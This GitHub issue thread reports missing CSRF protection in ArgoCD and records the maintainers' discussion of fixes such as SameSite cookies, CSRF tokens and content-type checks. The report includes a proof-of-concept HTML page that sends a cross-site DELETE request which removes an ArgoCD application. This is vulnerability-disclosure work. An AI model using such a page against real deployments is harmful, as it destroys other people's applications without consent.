Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

ArgoCD does not provide CSRF protection #2496

Closed
dimitarKiryakov opened this issue Oct 14, 2019 · 7 comments · Fixed by #16860 · May be fixed by #16856
Closed

ArgoCD does not provide CSRF protection #2496

dimitarKiryakov opened this issue Oct 14, 2019 · 7 comments · Fixed by #16860 · May be fixed by #16856
Assignees
@jannfis
Labels
bug Something isn't working component:api API bugs and enhancements security Security related

Comments

@dimitarKiryakov
Copy link

dimitarKiryakov commented Oct 14, 2019 •
edited
Loading

Describe the bug
Currently, argocd does not provide CSRF protection. When users log in the UI, a malicious script could be executed on behalf of user

To Reproduce

  1. Expose argocd through load-balancer
  2. Create an application
  3. Paste the following in html file
<HTML>

    <HEAD>
    
    
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    </HEAD>
    
    <BODY BGCOLOR="FFFFFF">
    
        <script>
            $.ajax({
                type: "DELETE",
                url: "https://<your-load-balancer-ip>/api/v1/applications/<application name from step 2>",
                data: "cascade=true",
                success: function(msg){
                    alert("Data Deleted: " + msg);
                }
            });
        </script> 
    </BODY>
    
    </HTML>
  1. Start chrome without cors in order to test
https://alfilatov.com/posts/run-chrome-without-cors/
  1. Log in to argocd UI
  2. Open in new tab the created html file from step 3
  3. Check the result in argocd UI

Expected behavior
As described in PCI compliance requirement 6.5.9(CSRF), this requirement applies to all of your organization’s web applications, internal application interfaces, and external application interfaces.
Based on this the request should not be successful - 403 should be returned

https://www.pcisecuritystandards.org/document_library

Version
Any argocd version
@dimitarKiryakov dimitarKiryakov added the bug Something isn't working label Oct 14, 2019
@dimitarKiryakov dimitarKiryakov changed the title Argo does not provide CSRF protection ArgoCD does not provide CSRF protection Oct 14, 2019
@jannfis
Copy link
Member

jannfis commented Oct 14, 2019

Good catch and I think this is a rather serious issue.

There is an open issue #2085 which would be a mitigation to this, although originally the issue wanted to mitigate something else and probably introduces some other usability issues.

I think using something like CSRF token for a stateless REST API (which also has other clients than a browser) would not be appropriate, but using an authorization header instead of a credentials cookie (that gets sent along with every request to the application) would be fine. Although that would probably (most likely) make logins non-sticky, e.g. user closes tab, or opens ArgoCD in another tab, he would have to relogin (annoying).

Would something like a decision "if authentication cookie is set, also require a valid CSRF token" would work at the API level, so that other clients just can pass the authorization header?

@jessesuen @alexec FYI

@essh
Copy link
Contributor

essh commented Oct 14, 2019

You could add the SameSite attribute to the cookie with either a “Lax” or “Strict” value for a simpler approach that covers most modern browsers.

@jannfis
Copy link
Member

jannfis commented Oct 15, 2019

Good idea, I didn't have a clue about SameSite attributes up to today. Thanks for the pointer, @essh I have just been reading up about it.

That being said, I'm not a big fan of enforcing security solely on the client, as would be the case with SameSite attribute. However, using such attributed cookie is better than the current situation and I guess it would be kind of a "quick win" currently. It looks like we could implement it in a very unintrusive, hopefully non-breaking small change that could easily make it into the next release (or even cherry-picked for a fix in the current release).

Nevertheless, we should also think about (and implement) a more robust mitigation, such as either don't use authentication cookies at all and replace them by HTTP headers or implement a robust CSRF mitigation, maybe a combination of SameSite cookie and CSRF token as implemented by i.e. Gorilla CSRF.

@jannfis jannfis mentioned this issue Oct 15, 2019
Merged
2 tasks
@jannfis
Copy link
Member

jannfis commented Oct 22, 2019

@alexec can you please label this issue security related? Thanks.

@alexec alexec added the security Security related label Oct 22, 2019
@jannfis jannfis self-assigned this Nov 7, 2019
@jannfis jannfis mentioned this issue Nov 8, 2019
Closed
4 tasks
@stale
Copy link

stale bot commented Jan 27, 2020

Is this still relevant? If so, what is blocking it? Is there anything you can do to help move it forward?

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs.

@stale stale bot added the wontfix This will not be worked on label Jan 27, 2020
@alexmt alexmt removed the wontfix This will not be worked on label Jan 27, 2020
@Sjord
Copy link

Sjord commented Jan 31, 2020

Start chrome without cors in order to test
--disable-web-security

Is this a realistic reproduction scenario? I agree that CSRF is possible on POSTs, but wouldn't DELETE normally trigger a preflight request?

I'm not a big fan of enforcing security solely on the client, as would be the case with SameSite attribute.

Is this based on facts? If it's just that it feels weird, that may not be sufficient to make decisions on. I think the SameSite attribute may be sufficient, but that depends on your security requirements and how Argo is used.

Another possibility for mitigation would be to check the content type of the request. This should always be application/json, but currently Argo allows anything. Restricting it to application/json would make it harder to create a valid CSRF request.

@jannfis
Copy link
Member

jannfis commented Jan 31, 2020

Start chrome without cors in order to test
--disable-web-security

Is this a realistic reproduction scenario? I agree that CSRF is possible on POSTs, but wouldn't DELETE normally trigger a preflight request?

I think that it's just an easy way to show the impact, not necessarily a realistic scenario. But with all the complexity in modern clients, there could be bugs in them that just allow you to circumvent their security enforcement features.

I'm not a big fan of enforcing security solely on the client, as would be the case with SameSite attribute.

Is this based on facts? If it's just that it feels weird, that may not be sufficient to make decisions on. I think the SameSite attribute may be sufficient, but that depends on your security requirements and how Argo is used.

I think fact is, that modern web clients are overly complex these days and sometimes fail to enforce security. And you can never know, maybe one of the clients can be tricked into circumventing enforcing the SameSite attribute, so this is what I ment. I think it's good to have these kinds of attack vectors addressed by both, client & server components.

Another possibility for mitigation would be to check the content type of the request. This should always be application/json, but currently Argo allows anything. Restricting it to application/json would make it harder to create a valid CSRF request.

Thanks for this hint, I will have a look into it!

@alexec alexec mentioned this issue Apr 20, 2020
Closed
@jannfis jannfis added the component:api API bugs and enhancements label May 14, 2020
@alexmt alexmt added this to the v2.1 milestone Apr 1, 2021
@alexmt alexmt modified the milestones: v2.1, v2.2 Jul 2, 2021
@alexmt alexmt removed this from the v2.2 milestone Dec 8, 2021
This was referenced Jan 12, 2024
Open
Merged
@GoVulnBot GoVulnBot mentioned this issue Jan 19, 2024
Closed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@jannfis jannfis

Labels
bug Something isn't working component:api API bugs and enhancements security Security related
Projects
None yet
Milestone
No milestone
6 participants
@essh @Sjord @alexmt @alexec @jannfis @dimitarKiryakov